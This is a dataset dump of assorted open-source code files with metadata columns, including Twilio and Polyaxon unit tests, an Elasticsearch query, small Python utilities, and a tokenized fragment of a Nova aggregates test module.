message_media_webhooks/exceptions/__init__.py
|
messagemedia/webhooks-python-sdk
|
97a35505298a17041e394353e469e9cf4d5d35e9
|
[
"Apache-2.0"
] | null | null | null |
message_media_webhooks/exceptions/__init__.py
|
messagemedia/webhooks-python-sdk
|
97a35505298a17041e394353e469e9cf4d5d35e9
|
[
"Apache-2.0"
] | null | null | null |
__all__ = [
'api_exception',
'update_webhook_400_response_exception',
'retrieve_webhook_400_response_exception',
'create_webhook_400_response_exception',
]
| 29
| 47
| 0.764368
| 18
| 174
| 6.444444
| 0.5
| 0.258621
| 0.465517
| 0.698276
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.060811
| 0.149425
| 174
| 6
| 48
| 29
| 0.722973
| 0
| 0
| 0
| 0
| 0
| 0.732558
| 0.656977
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
509d0901d945785b647dd2cf05d05768dbdff2c5
| 1,509
|
py
|
Python
|
zhihu/image_download.py
|
lzjun567/crawler_html2pdf
|
96a72980cda3b1920557112b86bdbddd06c26ca0
|
[
"Apache-2.0"
] | 710
|
2017-02-09T10:05:56.000Z
|
2019-12-06T08:12:29.000Z
|
zhihu/image_download.py
|
lzjun567/crawler_html2pdf
|
96a72980cda3b1920557112b86bdbddd06c26ca0
|
[
"Apache-2.0"
] | 33
|
2017-02-10T10:03:33.000Z
|
2019-07-18T13:45:19.000Z
|
zhihu/image_download.py
|
lzjun567/crawler_html2pdf
|
96a72980cda3b1920557112b86bdbddd06c26ca0
|
[
"Apache-2.0"
] | 627
|
2017-02-10T05:04:56.000Z
|
2019-12-12T07:53:14.000Z
|
{"query": {"function_score": {"query": {
"bool": {"should": [{"multi_match": {"query": "python", "fields": ["nickname^2", "username^4"]}}],
"filter": {"range": {"follower_count": {"gte": "50000", "lte": "100000"}}}}},
"field_value_factor": {"field": "follower_count", "modifier": "log1p", "missing": 0,
"factor": 1}, "boost_mode": "avg"}},
"highlight": {"fields": {"nickname": {}, "description": {}}}, "size": 10, "from": 0}
{
"query": {
"function_score": {
"query": {
"bool": {"must": [{
"multi_match": {
"query": "python",
"fields": ["nickname^2", "username^4"]
}}],
"filter": {"range": {
"follower_count": {
"gte": "50000",
"lte": "100000"
}
}}}
},
"field_value_factor": {
"field": "follower_count",
"modifier": "log1p",
"missing": 0,
"factor": 1
},
"boost_mode": "avg"
}
},
"highlight": {
"fields": {
"nickname": {},
"description": {}
}
},
"size":10,
"from": 0
}
| 32.106383
| 102
| 0.323393
| 92
| 1,509
| 5.152174
| 0.413043
| 0.118143
| 0.075949
| 0.097046
| 0.978903
| 0.864979
| 0.864979
| 0.864979
| 0.864979
| 0.864979
| 0
| 0.049479
| 0.491054
| 1,509
| 47
| 103
| 32.106383
| 0.567708
| 0
| 0
| 0.05
| 0
| 0
| 0.319205
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
50aaf3180af34ea8e8ea8540f9a16c9f1f97b60d
| 6,673
|
py
|
Python
|
tests/test_auditor/test_auditor_permission.py
|
elyase/polyaxon
|
1c19f059a010a6889e2b7ea340715b2bcfa382a0
|
[
"MIT"
] | null | null | null |
tests/test_auditor/test_auditor_permission.py
|
elyase/polyaxon
|
1c19f059a010a6889e2b7ea340715b2bcfa382a0
|
[
"MIT"
] | null | null | null |
tests/test_auditor/test_auditor_permission.py
|
elyase/polyaxon
|
1c19f059a010a6889e2b7ea340715b2bcfa382a0
|
[
"MIT"
] | null | null | null |
# pylint:disable=ungrouped-imports
from unittest.mock import patch
import pytest
import activitylogs
import auditor
import tracker
from event_manager.events import permission as permission_events
from tests.utils import BaseTest
@pytest.mark.auditor_mark
class AuditorPermissionTest(BaseTest):
"""Testing subscribed events"""
def setUp(self):
auditor.validate()
auditor.setup()
tracker.validate()
tracker.setup()
activitylogs.validate()
activitylogs.setup()
super().setUp()
@patch('tracker.service.TrackerService.record_event')
@patch('activitylogs.service.ActivityLogService.record_event')
def test_permission_project_denied(self, activitylogs_record, tracker_record):
auditor.record(event_type=permission_events.PERMISSION_PROJECT_DENIED,
id=1,
user_id=2,
actor_id=1,
actor_name='foo',
event='some.event')
assert tracker_record.call_count == 1
assert activitylogs_record.call_count == 1
@patch('tracker.service.TrackerService.record_event')
@patch('activitylogs.service.ActivityLogService.record_event')
def test_permission_repo_denied(self, activitylogs_record, tracker_record):
auditor.record(event_type=permission_events.PERMISSION_REPO_DENIED,
project_id=1,
project_user_id=2,
actor_id=1,
actor_name='foo',
event='some.event')
assert tracker_record.call_count == 1
assert activitylogs_record.call_count == 1
@patch('tracker.service.TrackerService.record_event')
@patch('activitylogs.service.ActivityLogService.record_event')
def test_permission_experiment_group_denied(self, activitylogs_record, tracker_record):
auditor.record(event_type=permission_events.PERMISSION_EXPERIMENT_GROUP_DENIED,
id=1,
user_id=2,
project_id=1,
project_user_id=2,
actor_id=1,
actor_name='foo',
event='some.event')
assert tracker_record.call_count == 1
assert activitylogs_record.call_count == 1
@patch('tracker.service.TrackerService.record_event')
@patch('activitylogs.service.ActivityLogService.record_event')
def test_permission_experiment_denied(self, activitylogs_record, tracker_record):
auditor.record(event_type=permission_events.PERMISSION_EXPERIMENT_DENIED,
id=1,
user_id=2,
project_id=1,
project_user_id=2,
actor_id=1,
actor_name='foo',
event='some.event')
assert tracker_record.call_count == 1
assert activitylogs_record.call_count == 1
@patch('tracker.service.TrackerService.record_event')
@patch('activitylogs.service.ActivityLogService.record_event')
def test_permission_tensorboard_denied(self, activitylogs_record, tracker_record):
auditor.record(event_type=permission_events.PERMISSION_TENSORBOARD_DENIED,
id=1,
user_id=2,
project_id=1,
project_user_id=2,
actor_id=1,
actor_name='foo',
event='some.event')
assert tracker_record.call_count == 1
assert activitylogs_record.call_count == 1
@patch('tracker.service.TrackerService.record_event')
@patch('activitylogs.service.ActivityLogService.record_event')
def test_permission_notebook_denied(self, activitylogs_record, tracker_record):
auditor.record(event_type=permission_events.PERMISSION_NOTEBOOK_DENIED,
id=1,
user_id=2,
project_id=1,
project_user_id=2,
actor_id=1,
actor_name='foo',
event='some.event')
assert tracker_record.call_count == 1
assert activitylogs_record.call_count == 1
@patch('tracker.service.TrackerService.record_event')
@patch('activitylogs.service.ActivityLogService.record_event')
def test_permission_build_job_denied(self, activitylogs_record, tracker_record):
auditor.record(event_type=permission_events.PERMISSION_BUILD_JOB_DENIED,
id=1,
user_id=2,
project_id=1,
project_user_id=2,
actor_id=1,
actor_name='foo',
event='some.event')
assert tracker_record.call_count == 1
assert activitylogs_record.call_count == 1
@patch('tracker.service.TrackerService.record_event')
@patch('activitylogs.service.ActivityLogService.record_event')
def test_permission_experiment_job_denied(self, activitylogs_record, tracker_record):
auditor.record(event_type=permission_events.PERMISSION_EXPERIMENT_JOB_DENIED,
id=1,
user_id=2,
project_id=1,
project_user_id=2,
actor_id=1,
actor_name='foo',
event='some.event')
assert tracker_record.call_count == 1
assert activitylogs_record.call_count == 1
@patch('tracker.service.TrackerService.record_event')
@patch('activitylogs.service.ActivityLogService.record_event')
def test_permission_cluster_denied(self, activitylogs_record, tracker_record):
auditor.record(event_type=permission_events.PERMISSION_CLUSTER_DENIED,
actor_id=1,
actor_name='foo',
event='some.event')
assert tracker_record.call_count == 1
assert activitylogs_record.call_count == 1
@patch('tracker.service.TrackerService.record_event')
@patch('activitylogs.service.ActivityLogService.record_event')
def test_permission_user_role_denied(self, activitylogs_record, tracker_record):
auditor.record(event_type=permission_events.PERMISSION_USER_ROLE_DENIED,
user_id=2,
actor_id=1,
actor_name='foo',
event='some.event')
assert tracker_record.call_count == 1
assert activitylogs_record.call_count == 1
| 40.198795
| 91
| 0.612019
| 673
| 6,673
| 5.756315
| 0.087667
| 0.085183
| 0.077439
| 0.082602
| 0.867062
| 0.867062
| 0.864739
| 0.864739
| 0.864739
| 0.864739
| 0
| 0.012779
| 0.308107
| 6,673
| 165
| 92
| 40.442424
| 0.826294
| 0.008842
| 0
| 0.727941
| 0
| 0
| 0.163438
| 0.143765
| 0
| 0
| 0
| 0
| 0.147059
| 1
| 0.080882
| false
| 0
| 0.051471
| 0
| 0.139706
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
50ab5b16a9ad711da3ee703e235381150eacb690
| 115
|
py
|
Python
|
guides/testing/db.py
|
jramirez857/projects
|
de47cf98cc6b4cc14117924b623ded989ab870d7
|
[
"Apache-2.0"
] | 44
|
2020-07-07T13:35:51.000Z
|
2022-03-25T21:45:43.000Z
|
guides/testing/db.py
|
jramirez857/projects
|
de47cf98cc6b4cc14117924b623ded989ab870d7
|
[
"Apache-2.0"
] | 20
|
2020-10-15T01:33:28.000Z
|
2022-03-18T14:43:16.000Z
|
guides/testing/db.py
|
jramirez857/projects
|
de47cf98cc6b4cc14117924b623ded989ab870d7
|
[
"Apache-2.0"
] | 4
|
2021-10-17T09:21:05.000Z
|
2022-02-06T22:38:50.000Z
|
from ploomber.clients import SQLAlchemyClient
def get_client():
return SQLAlchemyClient('sqlite:///data.db')
| 19.166667
| 48
| 0.765217
| 13
| 115
| 6.692308
| 0.923077
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.121739
| 115
| 5
| 49
| 23
| 0.861386
| 0
| 0
| 0
| 0
| 0
| 0.147826
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
50f0c56654dd7b0b65246917c0cebb0603581681
| 1,091
|
py
|
Python
|
old_sims/genPartitionCom.py
|
CN-UPB/koi-simulator
|
ca4ddc5019f423a8e901ebed25b44dc5fa165cf0
|
[
"Apache-2.0"
] | null | null | null |
old_sims/genPartitionCom.py
|
CN-UPB/koi-simulator
|
ca4ddc5019f423a8e901ebed25b44dc5fa165cf0
|
[
"Apache-2.0"
] | null | null | null |
old_sims/genPartitionCom.py
|
CN-UPB/koi-simulator
|
ca4ddc5019f423a8e901ebed25b44dc5fa165cf0
|
[
"Apache-2.0"
] | null | null | null |
#!/usr/bin/python
import sys
#currently the parameters are set for the 768 cell example
#lines without offset
cell = 0
lineOffset = 0
maxLine = 1
lineCounter = 0
for line in range(0, 64):
for row in range(0, 48):
rowOffset = int(row) / 6
print "**.cell[" + str(cell) + "].partition-id = " + str(rowOffset + lineOffset)
cell += 1
print ""
if lineCounter >= maxLine-1:
lineCounter = 0
lineOffset += 8
if maxLine == 2:
maxLine = 1
elif maxLine == 1:
maxLine = 1
else:
lineCounter += 1
#lines with offset
cell = 3072
lineOffset = 0
maxLine = 1
lineCounter = 0
for line in range(0, 64):
for row in range(0, 48):
rowOffset = int(row) / 6
print "**.cell[" + str(cell) + "].partition-id = " + str(rowOffset + lineOffset)
cell += 1
print ""
if lineCounter >= maxLine-1:
lineCounter = 0
lineOffset += 8
if maxLine == 2:
maxLine = 1
elif maxLine == 1:
maxLine = 1
else:
lineCounter += 1
| 21.392157
| 88
| 0.539872
| 135
| 1,091
| 4.362963
| 0.311111
| 0.135823
| 0.129032
| 0.135823
| 0.804754
| 0.804754
| 0.804754
| 0.804754
| 0.804754
| 0.804754
| 0
| 0.064516
| 0.346471
| 1,091
| 50
| 89
| 21.82
| 0.761571
| 0.100825
| 0
| 0.923077
| 0
| 0
| 0.051177
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.025641
| null | null | 0.102564
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
0fa1ff2c9ddd95f2c455c82d766fa7c50dba2d54
| 14,766
|
py
|
Python
|
tests/integration/preview/hosted_numbers/test_hosted_number_order.py
|
neetaramaswamy/twilio-python
|
28472ffab1a170824ba17f12a6c1692a5e849439
|
[
"MIT"
] | null | null | null |
tests/integration/preview/hosted_numbers/test_hosted_number_order.py
|
neetaramaswamy/twilio-python
|
28472ffab1a170824ba17f12a6c1692a5e849439
|
[
"MIT"
] | null | null | null |
tests/integration/preview/hosted_numbers/test_hosted_number_order.py
|
neetaramaswamy/twilio-python
|
28472ffab1a170824ba17f12a6c1692a5e849439
|
[
"MIT"
] | null | null | null |
# coding=utf-8
"""
This code was generated by
\ / _ _ _| _ _
| (_)\/(_)(_|\/| |(/_ v1.0.0
/ /
"""
from tests import IntegrationTestCase
from tests.holodeck import Request
from twilio.base.exceptions import TwilioException
from twilio.http.response import Response
class HostedNumberOrderTestCase(IntegrationTestCase):
def test_fetch_request(self):
self.holodeck.mock(Response(500, ''))
with self.assertRaises(TwilioException):
self.client.preview.hosted_numbers.hosted_number_orders(sid="HRaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa").fetch()
self.holodeck.assert_has_request(Request(
'get',
'https://preview.twilio.com/HostedNumbers/HostedNumberOrders/HRaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
))
def test_fetch_response(self):
self.holodeck.mock(Response(
200,
'''
{
"account_sid": "ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"address_sid": "AD11111111111111111111111111111111",
"call_delay": 15,
"capabilities": {
"sms": true,
"voice": false
},
"cc_emails": [
"aaa@twilio.com",
"bbb@twilio.com"
],
"date_created": "2017-03-28T20:06:39Z",
"date_updated": "2017-03-28T20:06:39Z",
"email": "test@twilio.com",
"extension": "5105",
"failure_reason": "",
"friendly_name": "friendly_name",
"incoming_phone_number_sid": "PN11111111111111111111111111111111",
"phone_number": "+14153608311",
"sid": "HRaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"signing_document_sid": "PX11111111111111111111111111111111",
"status": "received",
"unique_name": "foobar",
"url": "https://preview.twilio.com/HostedNumbers/HostedNumberOrders/HRaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"verification_attempts": 0,
"verification_call_sids": [
"CAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"CAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab"
],
"verification_code": "8794",
"verification_document_sid": null,
"verification_type": "phone-call"
}
'''
))
actual = self.client.preview.hosted_numbers.hosted_number_orders(sid="HRaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa").fetch()
self.assertIsNotNone(actual)
def test_delete_request(self):
self.holodeck.mock(Response(500, ''))
with self.assertRaises(TwilioException):
self.client.preview.hosted_numbers.hosted_number_orders(sid="HRaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa").delete()
self.holodeck.assert_has_request(Request(
'delete',
'https://preview.twilio.com/HostedNumbers/HostedNumberOrders/HRaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
))
def test_delete_response(self):
self.holodeck.mock(Response(
204,
None,
))
actual = self.client.preview.hosted_numbers.hosted_number_orders(sid="HRaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa").delete()
self.assertTrue(actual)
def test_update_request(self):
self.holodeck.mock(Response(500, ''))
with self.assertRaises(TwilioException):
self.client.preview.hosted_numbers.hosted_number_orders(sid="HRaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa").update()
self.holodeck.assert_has_request(Request(
'post',
'https://preview.twilio.com/HostedNumbers/HostedNumberOrders/HRaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
))
def test_update_response(self):
self.holodeck.mock(Response(
200,
'''
{
"account_sid": "ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"address_sid": "AD11111111111111111111111111111111",
"call_delay": 15,
"capabilities": {
"sms": true,
"voice": false
},
"cc_emails": [
"test1@twilio.com",
"test2@twilio.com"
],
"date_created": "2017-03-28T20:06:39Z",
"date_updated": "2017-03-28T20:06:39Z",
"email": "test+hosted@twilio.com",
"extension": "1234",
"failure_reason": "",
"friendly_name": "new friendly name",
"incoming_phone_number_sid": "PN11111111111111111111111111111111",
"phone_number": "+14153608311",
"sid": "HRaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"signing_document_sid": "PX11111111111111111111111111111111",
"status": "pending-loa",
"unique_name": "new unique name",
"url": "https://preview.twilio.com/HostedNumbers/HostedNumberOrders/HRaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"verification_attempts": 1,
"verification_call_sids": [
"CAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"CAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab"
],
"verification_code": "8794",
"verification_document_sid": null,
"verification_type": "phone-call"
}
'''
))
actual = self.client.preview.hosted_numbers.hosted_number_orders(sid="HRaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa").update()
self.assertIsNotNone(actual)
def test_list_request(self):
self.holodeck.mock(Response(500, ''))
with self.assertRaises(TwilioException):
self.client.preview.hosted_numbers.hosted_number_orders.list()
self.holodeck.assert_has_request(Request(
'get',
'https://preview.twilio.com/HostedNumbers/HostedNumberOrders',
))
def test_read_empty_response(self):
self.holodeck.mock(Response(
200,
'''
{
"meta": {
"first_page_url": "https://preview.twilio.com/HostedNumbers/HostedNumberOrders?PageSize=50&Page=0",
"key": "items",
"next_page_url": null,
"page": 0,
"page_size": 50,
"previous_page_url": null,
"url": "https://preview.twilio.com/HostedNumbers/HostedNumberOrders?PageSize=50&Page=0"
},
"items": []
}
'''
))
actual = self.client.preview.hosted_numbers.hosted_number_orders.list()
self.assertIsNotNone(actual)
def test_read_full_response(self):
self.holodeck.mock(Response(
200,
'''
{
"meta": {
"first_page_url": "https://preview.twilio.com/HostedNumbers/HostedNumberOrders?PageSize=50&Page=0",
"key": "items",
"next_page_url": null,
"page": 0,
"page_size": 50,
"previous_page_url": null,
"url": "https://preview.twilio.com/HostedNumbers/HostedNumberOrders?PageSize=50&Page=0"
},
"items": [
{
"account_sid": "ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"address_sid": "AD11111111111111111111111111111111",
"call_delay": 15,
"capabilities": {
"sms": true,
"voice": false
},
"cc_emails": [
"aaa@twilio.com",
"bbb@twilio.com"
],
"date_created": "2017-03-28T20:06:39Z",
"date_updated": "2017-03-28T20:06:39Z",
"email": "test@twilio.com",
"extension": "1234",
"failure_reason": "",
"friendly_name": "friendly_name",
"incoming_phone_number_sid": "PN11111111111111111111111111111111",
"phone_number": "+14153608311",
"sid": "HRaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"signing_document_sid": "PX11111111111111111111111111111111",
"status": "received",
"unique_name": "foobar",
"url": "https://preview.twilio.com/HostedNumbers/HostedNumberOrders/HRaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"verification_attempts": 0,
"verification_call_sids": [
"CAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"CAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab"
],
"verification_code": "8794",
"verification_document_sid": null,
"verification_type": "phone-call"
}
]
}
'''
))
actual = self.client.preview.hosted_numbers.hosted_number_orders.list()
self.assertIsNotNone(actual)
def test_create_request(self):
self.holodeck.mock(Response(500, ''))
with self.assertRaises(TwilioException):
self.client.preview.hosted_numbers.hosted_number_orders.create(phone_number="+15017122661", sms_capability=True)
values = {'PhoneNumber': "+15017122661", 'SmsCapability': True, }
self.holodeck.assert_has_request(Request(
'post',
'https://preview.twilio.com/HostedNumbers/HostedNumberOrders',
data=values,
))
def test_create_response(self):
self.holodeck.mock(Response(
201,
'''
{
"account_sid": "ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"address_sid": "AD11111111111111111111111111111111",
"call_delay": 0,
"capabilities": {
"sms": true,
"voice": false
},
"cc_emails": [],
"date_created": "2017-03-28T20:06:39Z",
"date_updated": "2017-03-28T20:06:39Z",
"email": "test@twilio.com",
"extension": null,
"failure_reason": "",
"friendly_name": null,
"incoming_phone_number_sid": "PN11111111111111111111111111111111",
"phone_number": "+14153608311",
"sid": "HRaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"signing_document_sid": null,
"status": "received",
"unique_name": null,
"url": "https://preview.twilio.com/HostedNumbers/HostedNumberOrders/HRaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"verification_attempts": 0,
"verification_call_sids": null,
"verification_code": null,
"verification_document_sid": null,
"verification_type": "phone-call"
}
'''
))
actual = self.client.preview.hosted_numbers.hosted_number_orders.create(phone_number="+15017122661", sms_capability=True)
self.assertIsNotNone(actual)
def test_create_without_optional_loa_fields_response(self):
self.holodeck.mock(Response(
201,
'''
{
"account_sid": "ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"address_sid": null,
"call_delay": 0,
"capabilities": {
"sms": true,
"voice": false
},
"cc_emails": [],
"date_created": "2017-03-28T20:06:39Z",
"date_updated": "2017-03-28T20:06:39Z",
"email": null,
"extension": null,
"failure_reason": "",
"friendly_name": null,
"incoming_phone_number_sid": "PN11111111111111111111111111111111",
"phone_number": "+14153608311",
"sid": "HRaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"signing_document_sid": null,
"status": "received",
"unique_name": null,
"url": "https://preview.twilio.com/HostedNumbers/HostedNumberOrders/HRaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"verification_attempts": 0,
"verification_call_sids": null,
"verification_code": null,
"verification_document_sid": null,
"verification_type": "phone-call"
}
'''
))
actual = self.client.preview.hosted_numbers.hosted_number_orders.create(phone_number="+15017122661", sms_capability=True)
self.assertIsNotNone(actual)
def test_create_with_phone_bill_verification_response(self):
self.holodeck.mock(Response(
201,
'''
{
"account_sid": "ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"address_sid": null,
"call_delay": 0,
"capabilities": {
"sms": true,
"voice": false
},
"cc_emails": [],
"date_created": "2017-03-28T20:06:39Z",
"date_updated": "2017-03-28T20:06:39Z",
"email": null,
"extension": null,
"failure_reason": "",
"friendly_name": null,
"incoming_phone_number_sid": "PN11111111111111111111111111111111",
"phone_number": "+14153608311",
"sid": "HRaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"signing_document_sid": null,
"status": "received",
"unique_name": null,
"url": "https://preview.twilio.com/HostedNumbers/HostedNumberOrders/HRaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"verification_attempts": 0,
"verification_call_sids": null,
"verification_code": null,
"verification_document_sid": "RIaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"verification_type": "phone-bill"
}
'''
))
actual = self.client.preview.hosted_numbers.hosted_number_orders.create(phone_number="+15017122661", sms_capability=True)
self.assertIsNotNone(actual)
| 39.693548
| 129
| 0.52946
| 1,079
| 14,766
| 7.013902
| 0.130677
| 0.02973
| 0.035677
| 0.041623
| 0.923758
| 0.916358
| 0.906712
| 0.906712
| 0.895481
| 0.872357
| 0
| 0.085442
| 0.360355
| 14,766
| 371
| 130
| 39.800539
| 0.715828
| 0.007382
| 0
| 0.666667
| 1
| 0
| 0.152455
| 0.043928
| 0
| 0
| 0
| 0
| 0.1875
| 1
| 0.135417
| false
| 0
| 0.041667
| 0
| 0.1875
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
0fc3ec6920338b285c6da23f6536aa5bb6603374
| 517
|
py
|
Python
|
0278_FirstBadVersion/python/test_solution.py
|
jeffvswanson/LeetCode
|
6bc7d6cad3c2b1bd6ccb2616ec081fb5eb51ccc8
|
[
"MIT"
] | null | null | null |
0278_FirstBadVersion/python/test_solution.py
|
jeffvswanson/LeetCode
|
6bc7d6cad3c2b1bd6ccb2616ec081fb5eb51ccc8
|
[
"MIT"
] | null | null | null |
0278_FirstBadVersion/python/test_solution.py
|
jeffvswanson/LeetCode
|
6bc7d6cad3c2b1bd6ccb2616ec081fb5eb51ccc8
|
[
"MIT"
] | null | null | null |
import pytest
import solution
@pytest.mark.parametrize("num_versions,bad_version", [(10, 1), (10, 8), (1, 1), (10, 10), (10, 5)])
def test_initial_pass(num_versions, bad_version):
got = solution.initial_pass(num_versions, bad_version)
assert got == bad_version
@pytest.mark.parametrize("num_versions,bad_version", [(10, 1), (10, 8), (1, 1), (10, 10), (10, 5)])
def test_optimized_pass(num_versions, bad_version):
got = solution.optimized_pass(num_versions, bad_version)
assert got == bad_version
| 32.3125
| 99
| 0.70793
| 78
| 517
| 4.435897
| 0.25641
| 0.231214
| 0.242775
| 0.364162
| 0.924855
| 0.924855
| 0.83237
| 0.624277
| 0.624277
| 0.369942
| 0
| 0.066964
| 0.133462
| 517
| 15
| 100
| 34.466667
| 0.705357
| 0
| 0
| 0.4
| 0
| 0
| 0.092843
| 0.092843
| 0
| 0
| 0
| 0
| 0.2
| 1
| 0.2
| false
| 0.4
| 0.2
| 0
| 0.4
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
e84c1783601fc216fe1fbb5ed068b621a381c4f0
| 75,545
|
py
|
Python
|
nova/tests/unit/api/openstack/compute/test_aggregates.py
|
bopopescu/nova-token
|
ec98f69dea7b3e2b9013b27fd55a2c1a1ac6bfb2
|
[
"Apache-2.0"
] | null | null | null |
nova/tests/unit/api/openstack/compute/test_aggregates.py
|
bopopescu/nova-token
|
ec98f69dea7b3e2b9013b27fd55a2c1a1ac6bfb2
|
[
"Apache-2.0"
] | null | null | null |
nova/tests/unit/api/openstack/compute/test_aggregates.py
|
bopopescu/nova-token
|
ec98f69dea7b3e2b9013b27fd55a2c1a1ac6bfb2
|
[
"Apache-2.0"
] | 2
|
2017-07-20T17:31:34.000Z
|
2020-07-24T02:42:19.000Z
|
begin_unit
comment|'# Copyright (c) 2012 Citrix Systems, Inc.'
nl|'\n'
comment|'# All Rights Reserved.'
nl|'\n'
comment|'#'
nl|'\n'
comment|'# Licensed under the Apache License, Version 2.0 (the "License"); you may'
nl|'\n'
comment|'# not use this file except in compliance with the License. You may obtain'
nl|'\n'
comment|'# a copy of the License at'
nl|'\n'
comment|'#'
nl|'\n'
comment|'# http://www.apache.org/licenses/LICENSE-2.0'
nl|'\n'
comment|'#'
nl|'\n'
comment|'# Unless required by applicable law or agreed to in writing, software'
nl|'\n'
comment|'# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT'
nl|'\n'
comment|'# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the'
nl|'\n'
comment|'# License for the specific language governing permissions and limitations'
nl|'\n'
comment|'# under the License.'
nl|'\n'
nl|'\n'
string|'"""Tests for the aggregates admin api."""'
newline|'\n'
nl|'\n'
name|'import'
name|'mock'
newline|'\n'
name|'import'
name|'uuid'
newline|'\n'
name|'from'
name|'webob'
name|'import'
name|'exc'
newline|'\n'
nl|'\n'
name|'from'
name|'nova'
op|'.'
name|'api'
op|'.'
name|'openstack'
op|'.'
name|'compute'
name|'import'
name|'aggregates'
name|'as'
name|'aggregates_v21'
newline|'\n'
name|'from'
name|'nova'
op|'.'
name|'compute'
name|'import'
name|'api'
name|'as'
name|'compute_api'
newline|'\n'
name|'from'
name|'nova'
name|'import'
name|'context'
newline|'\n'
name|'from'
name|'nova'
name|'import'
name|'exception'
newline|'\n'
name|'from'
name|'nova'
name|'import'
name|'objects'
newline|'\n'
name|'from'
name|'nova'
op|'.'
name|'objects'
name|'import'
name|'base'
name|'as'
name|'obj_base'
newline|'\n'
name|'from'
name|'nova'
name|'import'
name|'test'
newline|'\n'
name|'from'
name|'nova'
op|'.'
name|'tests'
op|'.'
name|'unit'
op|'.'
name|'api'
op|'.'
name|'openstack'
name|'import'
name|'fakes'
newline|'\n'
name|'from'
name|'nova'
op|'.'
name|'tests'
op|'.'
name|'unit'
name|'import'
name|'matchers'
newline|'\n'
name|'from'
name|'nova'
op|'.'
name|'tests'
name|'import'
name|'uuidsentinel'
newline|'\n'
nl|'\n'
nl|'\n'
